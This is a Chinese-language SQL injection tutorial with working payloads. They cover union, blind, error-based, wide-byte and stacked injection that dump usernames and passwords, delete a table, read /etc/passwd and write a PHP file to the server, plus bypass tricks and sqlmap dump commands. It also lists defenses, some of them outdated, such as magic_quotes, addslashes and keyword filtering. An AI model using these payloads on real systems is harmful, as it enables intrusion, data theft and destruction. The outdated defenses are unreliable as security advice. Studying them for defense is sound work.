SQL注入
字数 1583 2025-08-11 08:35:36
SQL注入全面教学文档
0x01 SQL注入形成原因
基本概念
SQL注入是由于程序开发过程中不注意规范书写SQL语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些SQL语句正常执行。
产生条件
- 使用字符串拼接方式构造SQL语句
- 不安全的数据库配置:
- 对查询集不合理处理
- 对SQL查询语句错误时不当处理,导致错误信息暴露在前端
- 过度信任用户输入:
- 未过滤用户输入的恶意数据
- 未对用户可控参数进行足够过滤便将参数内容拼接到SQL语句中
- 直接将用户输入数据当做SQL语句执行
0x02 SQL注入危害
- 数据库信息泄露:用户隐私信息泄露
- 网页篡改:通过操作数据库对特定网页进行篡改
- 网站挂马:将恶意文件写入数据库,嵌入网马链接
- 数据库恶意操作:
- 数据库服务器被攻击
- 管理员账户被篡改
- 数据遭到破坏
- 文件系统操作:
- 列取目录、读取/写入shell文件
- 获取webshell,远程控制服务器
- 执行系统命令:远程命令执行,破坏系统
0x03 SQL注入检测方法
判断是否存在SQL注入
- 使用漏洞扫描工具:AWVS、Xray、Nessus、AppScan等
- 手动测试:
- 测试各种特殊符号,观察是否有过滤
- 观察是否有报错信息
判断注入点
and 1=1页面正常,and 1=2页面错误 → 可能存在注入点- 观察输入数据是否带入数据库执行(页面是否改变)
0x04 SQL注入流程
- 判断数据类型(数字型/字符型)
- 求闭合字符
- 选择注入模式
- 爆数据库
- 爆表名
- 爆列名
- 爆字段名
- 读取敏感数据
0x05 常见SQL查询项
database()- 查询数据库名字version()- 查看数据库版本user()- 查看当前用户@@version_compile_os- 查看操作系统@@datadir- 数据库路径
0x06 注入技术详解
布尔盲注
适用于页面没有回显数据但语句错误会回显的情况。
示例语句:
?id=1' and length((select database()))>9--+ # 判断数据库名长度
?id=1' and ascii(substr((select database()),1,1))=115--+ # 逐个判断字符
判断表名:
(select count(table_name) from information_schema.tables where table_schema='security')>5
?id=1' and length(select table_name from information_schema.tables where table_schema='security' limit 0,1)>13--+
联合注入
适用于有回显的情况。
步骤:
- 判断列数:
?id=-1' order by 5--+ - 判断回显列:
?id=-1' union select 1,2,3--+ - 查询数据库信息:
?id=-1' union select 1,database(),version()--+ - 查询所有数据库名:
union select 1,2,group_concat(schema_name) from information_schema.schemata--+ - 查询表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+ - 查询列名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+ - 查询数据:
?id=-1' union select 1,2,group_concat(username,id,password) from users--+
宽字节注入
原理:GBK编码中一个中文字符占2个字节,UTF-8中占3个字节,导致转义字符被"吃掉"。
条件:
- 数据库编码为GBK,PHP使用UTF-8
- 使用addslashes()函数
示例:
%df' # 测试宽字节注入
报错注入
updatexml函数:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),2)--+
extractvalue函数:
extractvalue(1,concat(0x7c,version()))--+
floor函数:
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))
堆叠注入
原理:利用分号执行多条SQL语句。
示例:
id=1;delete from users # 查询后删除表
0x07 文件读写操作
读取文件:
load_file('/etc/passwd')
写入文件:
?id=-1' union select 1,'<?php phpinfo() ?>',3 into outfile 'd:\\x.php'--+
0x08 绕过技术
- 编码形式/宽字节注入
- 更改提交方式
- 大小写混合
- 双写绕过
- 解密编码
- 注释符混用
- 等价函数替换
- 特殊符号混用
- HTTP参数污染
- 垃圾数据溢出
0x09 防御措施
- 开启magic_quotes_gpc和magic_quotes_runtime设置
- 使用addslashes进行SQL语句转换
- SQL语句书写不省略双引号和单引号
- 过滤关键词:update、insert、delete、select、*
- 提高数据库表和字段命名技巧
- 设置register_globals为off
- 控制错误信息,不输出到浏览器
- 使用预编译语句(PDO/prepared statements)
- 最小权限原则
- 输入验证和过滤
0x10 自动化工具
sqlmap:Kali Linux自带工具,也可从GitHub下载
基本用法:
sqlmap -u "http://example.com/?id=1" --dbs # 枚举数据库
sqlmap -u "http://example.com/?id=1" -D database_name --tables # 枚举表
sqlmap -u "http://example.com/?id=1" -D database_name -T table_name --columns # 枚举列
sqlmap -u "http://example.com/?id=1" -D database_name -T table_name -C column_name --dump # 导出数据
总结
SQL注入是Web安全中最常见也最危险的漏洞之一。理解其原理、掌握各种注入技术、熟悉防御方法,对于安全从业人员至关重要。本文档涵盖了从基础概念到高级技术的全面内容,可作为SQL注入学习和研究的参考手册。